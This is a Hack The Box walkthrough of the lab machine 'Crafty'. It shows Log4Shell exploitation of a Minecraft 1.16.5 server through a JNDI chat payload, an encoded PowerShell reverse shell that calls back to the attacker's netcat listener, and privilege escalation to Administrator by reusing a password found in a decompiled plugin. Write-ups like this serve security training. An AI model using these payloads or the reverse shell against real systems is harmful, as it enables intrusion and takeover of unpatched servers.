Description

Crafty is an easy Hack The Box machine that features:

  • Minecraft 1.16.5 Log4j Remote Command Execution Vulnerability
  • Sensitive Data Exposure in a Minecraft Plugin
  • Privilege Escalation via a Leaked Credential

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.222.13.

$ ping -c 3 10.129.222.13
PING 10.129.222.13 (10.129.222.13) 56(84) bytes of data.
64 bytes from 10.129.222.13: icmp_seq=1 ttl=127 time=42.5 ms
64 bytes from 10.129.222.13: icmp_seq=2 ttl=127 time=46.6 ms
64 bytes from 10.129.222.13: icmp_seq=3 ttl=127 time=43.0 ms

--- 10.129.222.13 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 42.516/44.063/46.626/1.824 ms

The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.222.13 -sS -oN nmap_scan 
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.222.13
Host is up (0.057s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 8.61 seconds

We get one open port, 80.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.222.13 -sV -sC -p80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.222.13
Host is up (0.063s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://crafty.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds

We get one service: a Hypertext Transfer Protocol (HTTP). We add the domain, crafty.htb to our /etc/hosts file.

$ echo "10.129.222.13 crafty.htb" | sudo tee -a /etc/hosts

We find a web page related to Minecraft video-game, and a subdomain, play.crafty.htb, we add the subdomain to our /etc/hosts file.

$ echo "10.129.222.13 play.crafty.htb" | sudo tee -a /etc/hosts

This is not working as we are getting redirected to the crafty.htb page. Minecraft is a multiplayer game and its servers are commonly hosted in port 25565.

$ nmap 10.129.222.13 -sV -sC -p25565 -oN nmap_scan_ports_mine
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for crafty.htb (10.129.222.13)
Host is up (0.044s latency).

PORT      STATE SERVICE   VERSION
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.45 seconds

We find that a Minecraft server with version 1.16.5 is running. This version is vulnerable to the Java Log4j vulnerability, CVE-2021-44228.

Exploitation

To exploit this vulnerability we need to do two steps: firstly we need to download Minecraft-Console-Client (a lightweight console for Minecraft chat) in our machine, connect to the server, and having access to the in-game chat enter the payload. In the other hand we will need to create our malicious server that will create a HTTP and a LDAP server that will host the malicious code. We will login with an username, for example user and an empty password.

$ wget https://github.com/MCCTeam/Minecraft-Console-Client/releases/download/20240130-245/MinecraftClient-20240130-245-linux-x64
$ chmod +x MinecraftClient-20240130-245-linux-x64
$ ./MinecraftClient-20240130-245-linux-x64
$ minecraft-launcher
Minecraft Console Client v1.20.2 - for MC 1.4.6 to 1.20.2 - Github.com/MCCTeam
GitHub build 245, built on 2024-01-30 from commit 1e60b61
Settings file MinecraftClient.ini has been generated.

MCC is running with default settings.
Login :
Password(invisible): 
You chose to run in offline mode.
Server IP : 
Retrieving Server Info...
Server version : 1.16.5 (protocol v754)
[MCC] Version is supported.
Logging in...
[MCC] Server is in offline mode.
[MCC] Server was successfully joined.
Type '/quit' to leave the server.
<test> hi
>

Then we create our malicious server by using the PoC from kozmer. We will download the project, and install its dependencies including Java JDK.

$ git clone https://github.com/kozmer/log4j-shell-poc
$ cd log4j-shell-poc
$ python3 -m virtualenv log4j
$ source log4j/bin/activate
$ pip install -r requirements.txt
$ wget https://download.oracle.com/otn/java/jdk/8u20-b26/jdk-8u20-linux-x64.tar.gz
$ tar xvzf jdk-8u20-linux-x64.tar.gz

Then we modify the poc.py file with the Java class we want to inject, in this case we will create a reverse shell using a Base64 encoded string with PowerShell.

def generate_payload(userip: str, lport: int) -> None:
    program = """
public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANAA5ACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
"""

Then we start the LDAP and HTTP servers.

$ python3 poc.py --userip 10.10.14.49 --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.10.14.49:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389

We get the string we will need to inject into the chat, ${jndi:ldap://10.10.14.49:1389/a}. Before entering it, we will create a listener for our reverse shell.

$ nc -lvnp 9001

We will get the reverse shell.

$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.222.13] 49708

PS C:\users\svc_minecraft\server> whoami
crafty\svc_minecraft

Post-Exploitation

We are logged as the svc_minecraft user. We find another user in the system, jacob.

PS C:\users\svc_minecraft\server> net users

User accounts for \\CRAFTY

Administrator            DefaultAccount           Guest                    
jacob                    svc_minecraft            WDAGUtilityAccount       
The command completed successfully.

In this folder, we find a sub-folder called plugins, with the Minecraft plugin playercounter-1.0-SNAPSHOT.jar. We can extract it and decompile it with JADX tool. We obtain this source code.

package htb.crafty.playercounter;

import java.io.IOException;

import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;

public final class Playercounter extends JavaPlugin {

    public void onEnable() {
        try {
            Rcon rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
            try {
                String result = rcon.command("players online count");
                PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
                writer.println(result);
            } catch (IOException e3) {
                throw new RuntimeException(e3);
            }
        } catch (IOException e) {
            throw new RuntimeException(e);
        } catch (AuthenticationException e2) {
            throw new RuntimeException(e2);
        }
    }

    public void onDisable() {
    }
}

We find that a new Rcon object is being created. In the arguments we find a password, s67u84zKq8IXw. We can check with RunasCs tool if the password is being reused for the jacob user.

PS C:\users\svc_minecraft\Documents> .\RunasCs.exe jacob s67u84zKq8IXw "powershell whoami"
[-] RunasCsException: LogonUser failed with error code: The user name or password is incorrect

It is incorrect. Let’s check for the Administrator user.

PS C:\users\svc_minecraft\Documents> .\RunasCs.exe Administrator s67u84zKq8IXw "powershell whoami"

crafty\administrator

It works. Now we can spawn a reverse shell or run commands as the Administrator user.

Flags

With Administrator permissions we can obtain the user flag and the system flag.

PS C:\users\svc_minecraft\Documents> .\RunasCs.exe Administrator s67u84zKq8IXw "powershell cat C:\Users\svc_minecraft\Desktop\user.txt"
<REDACTED>
PS C:\users\svc_minecraft\Documents> .\RunasCs.exe Administrator s67u84zKq8IXw "powershell cat C:\Users\Administrator\Desktop\root.txt"
<REDACTED>